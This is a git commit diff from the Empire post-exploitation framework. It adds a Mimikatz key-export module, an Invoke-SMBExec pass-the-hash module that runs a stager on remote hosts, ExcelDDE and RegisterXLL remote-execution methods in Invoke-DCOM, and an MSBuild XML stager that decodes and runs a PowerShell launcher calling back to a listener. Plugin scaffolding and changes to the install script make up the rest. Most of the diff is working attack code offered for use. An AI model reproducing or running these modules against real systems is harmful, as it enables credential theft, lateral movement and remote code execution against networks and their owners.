readme-wiki
xorrior 2017-11-12 17:36:28 -05:00
commit 47f09ed045
16 changed files with 3216 additions and 41 deletions

View File

@ -1,3 +1,27 @@
Running
------------
- Added Kevin Robertson's Invoke-SMBExec.ps1
- Update Invoke-DCOM
10/29/2017
------------
- Version 2.3 Master Release
— Fix for #755
— Merge PR from byt3bl33d3r for TLS version
— Removed option to set chunk size for file downloads
— Fix for #729 (Unable to download files with spaces)
— Fix renegotiation in powershell agent. Patched python agent to exit on 401 response.
— Fix for #774 (Fix pyinstaller module)
— Added resource scripts capability (Carrie Roberts)
— Fix for #749 (Fix external agent modules)
— Fix for #369 (Fixed http_hop listener with ssl and self-signed certificate)
— Merge Invoke-PowerDump fix
— Merge fixes for 718 (Fix generate function signature for module @nikaiw)
— Merge fixes for 762 (Code cleanup from EmPyre @elitest)
— Merge ntds execution module (@hightopfade)
— Updated generate function signatures in all modules
— Fixed stagerURI option (rvrsh3ll)
10/12/2017 10/12/2017
-------- --------
- Version 2.2 Master Release - Version 2.2 Master Release

View File

@ -52,14 +52,9 @@ for name, ID in ADDITIONAL.items(): ADDITIONAL_IDS[ID] = name
# If a secure random number generator is unavailable, exit with an error. # If a secure random number generator is unavailable, exit with an error.
try: try:
try: import ssl
import ssl random_function = ssl.RAND_bytes
random_function = ssl.RAND_bytes random_provider = "Python SSL"
random_provider = "Python SSL"
except (AttributeError, ImportError):
import OpenSSL
random_function = OpenSSL.rand.bytes
random_provider = "OpenSSL"
except: except:
random_function = os.urandom random_function = os.urandom
random_provider = "os.urandom" random_provider = "os.urandom"

View File

@ -55,14 +55,9 @@ for name, ID in ADDITIONAL.items(): ADDITIONAL_IDS[ID] = name
# If a secure random number generator is unavailable, exit with an error. # If a secure random number generator is unavailable, exit with an error.
try: try:
try: import ssl
import ssl random_function = ssl.RAND_bytes
random_function = ssl.RAND_bytes random_provider = "Python SSL"
random_provider = "Python SSL"
except (AttributeError, ImportError):
import OpenSSL
random_function = OpenSSL.rand.bytes
random_provider = "OpenSSL"
except: except:
random_function = os.urandom random_function = os.urandom
random_provider = "os.urandom" random_provider = "os.urandom"

View File

@ -24,11 +24,11 @@ function Invoke-DCOM {
Invoke commands on remote hosts via MMC20.Application COM object over DCOM. Invoke commands on remote hosts via MMC20.Application COM object over DCOM.
.PARAMETER Target .PARAMETER ComputerName
IP Address or Hostname of the remote system IP Address or Hostname of the remote system
.PARAMETER Type .PARAMETER Method
Specifies the desired type of execution Specifies the desired type of execution
@ -39,8 +39,9 @@ function Invoke-DCOM {
.EXAMPLE .EXAMPLE
Import-Module .\Invoke-DCOM.ps1 Import-Module .\Invoke-DCOM.ps1
Invoke-DCOM -Target '192.168.2.100' -Type MMC20 -Command "calc.exe" Invoke-DCOM -ComputerName '192.168.2.100' -Method MMC20.Application -Command "calc.exe"
Invoke-DCOM -Target '192.168.2.100' -Type ServiceStart "MyService" Invoke-DCOM -ComputerName '192.168.2.100' -Method ExcelDDE -Command "calc.exe"
Invoke-DCOM -ComputerName '192.168.2.100' -Method ServiceStart "MyService"
#> #>
[CmdletBinding()] [CmdletBinding()]
@ -50,9 +51,10 @@ function Invoke-DCOM {
$ComputerName, $ComputerName,
[Parameter(Mandatory = $true, Position = 1)] [Parameter(Mandatory = $true, Position = 1)]
[ValidateSet("MMC20", "ShellWindows","ShellBrowserWindow","CheckDomain","ServiceCheck","MinimizeAll","ServiceStop","ServiceStart")] [ValidateSet("MMC20.Application", "ShellWindows","ShellBrowserWindow","CheckDomain","ServiceCheck","MinimizeAll","ServiceStop","ServiceStart",
"DetectOffice","RegisterXLL","ExcelDDE")]
[String] [String]
$Method = "MMC20", $Method = "MMC20.Application",
[Parameter(Mandatory = $false, Position = 2)] [Parameter(Mandatory = $false, Position = 2)]
[string] [string]
@ -60,7 +62,12 @@ function Invoke-DCOM {
[Parameter(Mandatory = $false, Position = 3)] [Parameter(Mandatory = $false, Position = 3)]
[string] [string]
$Command= "calc.exe" $Command= "calc.exe",
[Parameter(Mandatory = $false, Position = 4)]
[string]
$DllPath
) )
Begin { Begin {
@ -108,7 +115,7 @@ function Invoke-DCOM {
#Begin main process block #Begin main process block
#Check for which type we are using and apply options accordingly #Check for which type we are using and apply options accordingly
if ($Method -Match "MMC20") { if ($Method -Match "MMC20.Application") {
$Com = [Type]::GetTypeFromProgID("MMC20.Application","$ComputerName") $Com = [Type]::GetTypeFromProgID("MMC20.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com) $Obj = [System.Activator]::CreateInstance($Com)
@ -163,6 +170,26 @@ function Invoke-DCOM {
$Obj = [System.Activator]::CreateInstance($Com) $Obj = [System.Activator]::CreateInstance($Com)
$obj.Document.Application.ServiceStart("$ServiceName") $obj.Document.Application.ServiceStart("$ServiceName")
} }
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}
} }
End { End {

File diff suppressed because it is too large Load Diff

View File

@ -21,6 +21,8 @@ import hashlib
import time import time
import fnmatch import fnmatch
import shlex import shlex
import pkgutil
import importlib
# Empire imports # Empire imports
import helpers import helpers
@ -30,6 +32,7 @@ import listeners
import modules import modules
import stagers import stagers
import credentials import credentials
import plugins
from zlib_wrapper import compress from zlib_wrapper import compress
from zlib_wrapper import decompress from zlib_wrapper import decompress
@ -68,6 +71,10 @@ class MainMenu(cmd.Cmd):
# globalOptions[optionName] = (value, required, description) # globalOptions[optionName] = (value, required, description)
self.globalOptions = {} self.globalOptions = {}
# currently active plugins:
# {'pluginName': classObject}
self.loadedPlugins = {}
# empty database object # empty database object
self.conn = self.database_connect() self.conn = self.database_connect()
time.sleep(1) time.sleep(1)
@ -381,6 +388,51 @@ class MainMenu(cmd.Cmd):
# CMD methods # CMD methods
################################################### ###################################################
def do_plugins(self, args):
"List all available and active plugins."
pluginPath = os.path.abspath("plugins")
print(helpers.color("[*] Searching for plugins at {}".format(pluginPath)))
# From walk_packages: "Note that this function must import all packages
# (not all modules!) on the given path, in order to access the __path__
# attribute to find submodules."
pluginNames = [name for _, name, _ in pkgutil.walk_packages([pluginPath])]
numFound = len(pluginNames)
# say how many we found, handling the 1 case
if numFound == 1:
print(helpers.color("[*] {} plugin found".format(numFound)))
else:
print(helpers.color("[*] {} plugins found".format(numFound)))
# if we found any, list them
if numFound > 0:
print("\tName\tActive")
print("\t----\t------")
activePlugins = self.loadedPlugins.keys()
for name in pluginNames:
active = ""
if name in activePlugins:
active = "******"
print("\t" + name + "\t" + active)
print("")
print(helpers.color("[*] Use \"plugin <plugin name>\" to load a plugin."))
def do_plugin(self, pluginName):
"Load a plugin file to extend Empire."
pluginPath = os.path.abspath("plugins")
print(helpers.color("[*] Searching for plugins at {}".format(pluginPath)))
# From walk_packages: "Note that this function must import all packages
# (not all modules!) on the given path, in order to access the __path__
# attribute to find submodules."
pluginNames = [name for _, name, _ in pkgutil.walk_packages([pluginPath])]
if pluginName in pluginNames:
print(helpers.color("[*] Plugin {} found.".format(pluginName)))
# 'self' is the mainMenu object
plugins.load_plugin(self, pluginName)
else:
raise Exception("[!] Error: the plugin specified does not exist in {}.".format(pluginPath))
def postcmd(self, stop, line): def postcmd(self, stop, line):
if len(self.resourceQueue) > 0: if len(self.resourceQueue) > 0:
nextcmd = self.resourceQueue.pop(0) nextcmd = self.resourceQueue.pop(0)

View File

@ -22,6 +22,7 @@ Includes:
import base64 import base64
import hashlib import hashlib
import hmac import hmac
import os
import string import string
import M2Crypto import M2Crypto
@ -57,11 +58,9 @@ try:
import ssl import ssl
random_function = ssl.RAND_bytes random_function = ssl.RAND_bytes
random_provider = "Python SSL" random_provider = "Python SSL"
except (AttributeError, ImportError): except:
import OpenSSL random_function = os.urandom
random_function = OpenSSL.rand.bytes random_provider = "os.urandom"
random_provider = "OpenSSL"
def pad(data): def pad(data):
""" """
@ -285,7 +284,7 @@ class DiffieHellman(object):
_rand = int.from_bytes(random_function(_bytes), byteorder='big') _rand = int.from_bytes(random_function(_bytes), byteorder='big')
except: except:
# Python 2 # Python 2
_rand = int(OpenSSL.rand.bytes(_bytes).encode('hex'), 16) _rand = int(random_function(_bytes).encode('hex'), 16)
return _rand return _rand

41
lib/common/plugins.py Normal file
View File

@ -0,0 +1,41 @@
""" Utilities and helpers and etc. for plugins """
import importlib
import lib.common.helpers as helpers
def load_plugin(mainMenu, pluginName):
""" Given the name of a plugin and a menu object, load it into the menu """
# note the 'plugins' package so the loader can find our plugin
fullPluginName = "plugins." + pluginName
module = importlib.import_module(fullPluginName)
pluginObj = module.Plugin(mainMenu)
mainMenu.loadedPlugins[pluginName] = pluginObj
class Plugin(object):
# to be overwritten by child
description = "This is a description of this plugin."
def __init__(self, mainMenu):
# having these multiple messages should be helpful for debugging
# user-reported errors (can narrow down where they happen)
print(helpers.color("[*] Initializing plugin..."))
# any future init stuff goes here
print(helpers.color("[*] Doing custom initialization..."))
# do custom user stuff
self.onLoad()
# now that everything is loaded, register functions and etc. onto the main menu
print(helpers.color("[*] Registering plugin with menu..."))
self.register(mainMenu)
def onLoad(self):
""" Things to do during init: meant to be overridden by
the inheriting plugin. """
pass
def register(self, mainMenu):
""" Any modifications made to the main menu are done here
(meant to be overriden by child) """
pass

View File

@ -250,8 +250,7 @@ class Listener:
stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;") stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
else: else:
# TODO: implement form for other proxy # TODO: implement form for other proxy
stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;") stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('"+ proxy.lower() +"');")
stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';")
stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;") stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
if proxyCreds.lower() == "default": if proxyCreds.lower() == "default":
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;") stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
@ -259,9 +258,13 @@ class Listener:
# TODO: implement form for other proxy credentials # TODO: implement form for other proxy credentials
username = proxyCreds.split(':')[0] username = proxyCreds.split(':')[0]
password = proxyCreds.split(':')[1] password = proxyCreds.split(':')[1]
domain = username.split('\\')[0] if len(username.split('\\')) > 1:
usr = username.split('\\')[1] usr = username.split('\\')[1]
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');" domain = username.split('\\')[0]
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
else:
usr = username.split('\\')[0]
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"');"
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;") stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
#save the proxy settings to use during the entire staging process and the agent #save the proxy settings to use during the entire staging process and the agent
@ -767,7 +770,7 @@ def send_message(packets=None):
#if signaled for restaging, exit. #if signaled for restaging, exit.
if HTTPError.code == 401: if HTTPError.code == 401:
sys.exit(0) sys.exit(0)
return (HTTPError.code, '') return (HTTPError.code, '')
except urllib2.URLError as URLerror: except urllib2.URLError as URLerror:

View File

@ -0,0 +1,78 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-Mimikatz DumpKeys',
'Author': ['@JosephBialek', '@gentilkiwi'],
'Description': ("Runs PowerSploit's Invoke-Mimikatz function "
"to extract all keys to the local directory."),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : True,
'OpsecSafe' : True,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
'Comments': [
'http://clymb3r.wordpress.com/',
'http://blog.gentilkiwi.com'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1"
if obfuscate:
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
# add in the key dumping command
scriptEnd = """Invoke-Mimikatz -Command 'crypto::capi privilege::debug crypto::cng "crypto::keys /export"' """
if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd
return script

View File

@ -46,7 +46,7 @@ class Module:
'Value' : '' 'Value' : ''
}, },
'Method' : { 'Method' : {
'Description' : 'COM method to use.', 'Description' : 'COM method to use. MMC20.Application,ShellWindows,ShellBrowserWindow,ExcelDDE',
'Required' : True, 'Required' : True,
'Value' : 'ShellWindows' 'Value' : 'ShellWindows'
}, },

View File

@ -0,0 +1,154 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-SMBExec',
'Author': ['@rvrsh3ll'],
'Description': ('Executes a stager on remote hosts using SMBExec.ps1'),
'Background' : False,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
'Comments': ["https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-SMBExec.ps1"]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'CredID' : {
'Description' : 'CredID from the store to use.',
'Required' : False,
'Value' : ''
},
'ComputerName' : {
'Description' : 'Host[s] to execute the stager on, comma separated.',
'Required' : True,
'Value' : ''
},
'Username' : {
'Description' : 'Username.',
'Required' : True,
'Value' : ''
},
'Domain' : {
'Description' : 'Domain.',
'Required' : False,
'Value' : ''
},
'Hash' : {
'Description' : 'NTLM Hash in LM:NTLM or NTLM format.',
'Required' : True,
'Value' : ''
},
'Service' : {
'Description' : 'Name of service to create and delete. Defaults to 20 char random.',
'Required' : False,
'Value' : ''
},
'Listener' : {
'Description' : 'Listener to use.',
'Required' : True,
'Value' : ''
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Proxy' : {
'Description' : 'Proxy to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
listenerName = self.options['Listener']['Value']
computerName = self.options['ComputerName']['Value']
userName = self.options['Username']['Value']
NTLMhash = self.options['Hash']['Value']
domain = self.options['Domain']['Value']
service = self.options['Service']['Value']
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-SMBExec.ps1"
if obfuscate:
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
if not self.mainMenu.listeners.is_listener_valid(listenerName):
# not a valid listener, return nothing for the script
print helpers.color("[!] Invalid listener: " + listenerName)
return ""
else:
# generate the PowerShell one-liner with all of the proper options set
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
if launcher == "":
print helpers.color("[!] Error in launcher generation.")
return ""
else:
stagerCmd = '%COMSPEC% /C start /b C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher
scriptEnd = "Invoke-SMBExec -Target %s -Username %s -Domain %s -Hash %s -Command '%s'" % (computerName, userName, domain, NTLMhash, stagerCmd)
scriptEnd += "| Out-String | %{$_ + \"`n\"};"
if obfuscate:
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd
return script

View File

@ -0,0 +1,160 @@
from lib.common import helpers
class Stager:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'msbuild_xml',
'Author': ['@p3nt4'],
'Description': ('Generates an XML file to be run with MSBuild.exe'),
'Comments': [
'On the endpoint simply launch MSBuild.exe payload.xml'
]
}
# any options needed by the stager, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Listener': {
'Description': 'Listener to generate stager for.',
'Required': True,
'Value': ''
},
'Language' : {
'Description' : 'Language of the stager to generate.',
'Required' : True,
'Value' : 'powershell'
},
'StagerRetries': {
'Description': 'Times for the stager to retry connecting.',
'Required': False,
'Value': '0'
},
'Obfuscate' : {
'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.',
'Required' : False,
'Value' : 'False'
},
'ObfuscateCommand' : {
'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.',
'Required' : False,
'Value' : r'Token\All\1,Launcher\STDIN++\12467'
},
'OutFile': {
'Description': 'File to output XML to, otherwise displayed on the screen.',
'Required': False,
'Value': '/tmp/launcher.xml'
},
'UserAgent': {
'Description': 'User-agent string to use for the staging request (default, none, or other).',
'Required': False,
'Value': 'default'
},
'Proxy': {
'Description': 'Proxy to use for request (default, none, or other).',
'Required': False,
'Value': 'default'
},
'ProxyCreds': {
'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required': False,
'Value': 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# extract all of our options
language = self.options['Language']['Value']
listenerName = self.options['Listener']['Value']
obfuscate = self.options['Obfuscate']['Value']
obfuscateCommand = self.options['ObfuscateCommand']['Value']
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
stagerRetries = self.options['StagerRetries']['Value']
encode = True
obfuscateScript = False
if obfuscate.lower() == "true":
obfuscateScript = True
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(
listenerName, language=language, encode=encode, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
launcher_array=launcher.split()
if len(launcher_array) > 1:
print helpers.color("[*] Removing Launcher String")
launcher = launcher_array[-1]
if launcher == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
else:
code ="<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">"
code += "<Target Name=\"EmpireStager\">"
code += "<ClassExample />"
code += "</Target>"
code += "<UsingTask "
code += "TaskName=\"ClassExample\" "
code += "TaskFactory=\"CodeTaskFactory\" "
code += "AssemblyFile=\"C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll\" >"
code += "<Task>"
code += "<Reference Include=\"System.Management.Automation\" />"
code += "<Using Namespace=\"System\" />"
code += "<Using Namespace=\"System.IO\" />"
code += "<Using Namespace=\"System.Reflection\" />"
code += "<Using Namespace=\"System.Collections.Generic\" />"
code += "<Code Type=\"Class\" Language=\"cs\">"
code += "<![CDATA[ "
code += "using System;"
code += "using System.IO;"
code += "using System.Diagnostics;"
code += "using System.Reflection;"
code += "using System.Runtime.InteropServices;"
code += "using System.Collections.ObjectModel;"
code += "using System.Management.Automation;"
code += "using System.Management.Automation.Runspaces;"
code += "using System.Text;"
code += "using Microsoft.Build.Framework;"
code += "using Microsoft.Build.Utilities;"
code += "public class ClassExample : Task, ITask"
code += "{"
code += "public override bool Execute()"
code += "{"
code += "byte[] data = Convert.FromBase64String(\""+launcher+"\");string script = Encoding.Unicode.GetString(data);"
code += "PSExecute(script);"
code += "return true;"
code += "}"
code += "public static void PSExecute(string cmd)"
code += "{"
code += "Runspace runspace = RunspaceFactory.CreateRunspace();"
code += "runspace.Open();"
code += "Pipeline pipeline = runspace.CreatePipeline();"
code += "pipeline.Commands.AddScript(cmd);"
code += "pipeline.InvokeAsync();"
code += "}"
code += "}"
code += " ]]>"
code += "</Code>"
code += "</Task>"
code += "</UsingTask>"
code += "</Project>"
return code

0
plugins/__init__.py Normal file
View File

35
plugins/example.py Normal file
View File

@ -0,0 +1,35 @@
""" An example of a plugin. """
from lib.common.plugins import Plugin
import lib.common.helpers as helpers
# anything you simply write out (like a script) will run immediately when the
# module is imported (before the class is instantiated)
print("Hello from your new plugin!")
# this class MUST be named Plugin
class Plugin(Plugin):
description = "An example plugin."
def onLoad(self):
""" any custom loading behavior - called by init, so any
behavior you'd normally put in __init__ goes here """
print("Custom loading behavior happens now.")
# you can store data here that will persist until the plugin
# is unloaded (i.e. Empire closes)
self.calledTimes = 0
def register(self, mainMenu):
""" any modifications to the mainMenu go here - e.g.
registering functions to be run by user commands """
mainMenu.__class__.do_test = self.do_test
def do_test(self, args):
"An example of a plugin function."
print("This is executed from a plugin!")
print(helpers.color("[*] It can even import Empire functionality!"))
# you can also store data in the plugin (see onLoad)
self.calledTimes += 1
print("This function has been called {} times.".format(self.calledTimes))

View File

@ -27,7 +27,7 @@ if lsb_release -d | grep -q "Fedora"; then
pip install flask pip install flask
pip install macholib pip install macholib
pip install dropbox pip install dropbox
pip install 'pyopenssl==17.2.0' pip install pyopenssl
pip install pyinstaller pip install pyinstaller
pip install zlib_wrapper pip install zlib_wrapper
pip install netifaces pip install netifaces
@ -44,7 +44,7 @@ elif lsb_release -d | grep -q "Kali"; then
pip install flask pip install flask
pip install macholib pip install macholib
pip install dropbox pip install dropbox
pip install 'pyopenssl==17.2.0' pip install pyopenssl
pip install pyinstaller pip install pyinstaller
pip install zlib_wrapper pip install zlib_wrapper
pip install netifaces pip install netifaces
@ -85,7 +85,7 @@ elif lsb_release -d | grep -q "Ubuntu"; then
pip install pyOpenSSL pip install pyOpenSSL
pip install macholib pip install macholib
pip install dropbox pip install dropbox
pip install 'pyopenssl==17.2.0' pip install pyopenssl
pip install pyinstaller pip install pyinstaller
pip install zlib_wrapper pip install zlib_wrapper
pip install netifaces pip install netifaces
@ -115,7 +115,7 @@ else
pip install dropbox pip install dropbox
pip install cryptography pip install cryptography
pip install pyOpenSSL pip install pyOpenSSL
pip install 'pyopenssl==17.2.0' pip install pyopenssl
pip install zlib_wrapper pip install zlib_wrapper
pip install netifaces pip install netifaces
pip install M2Crypto pip install M2Crypto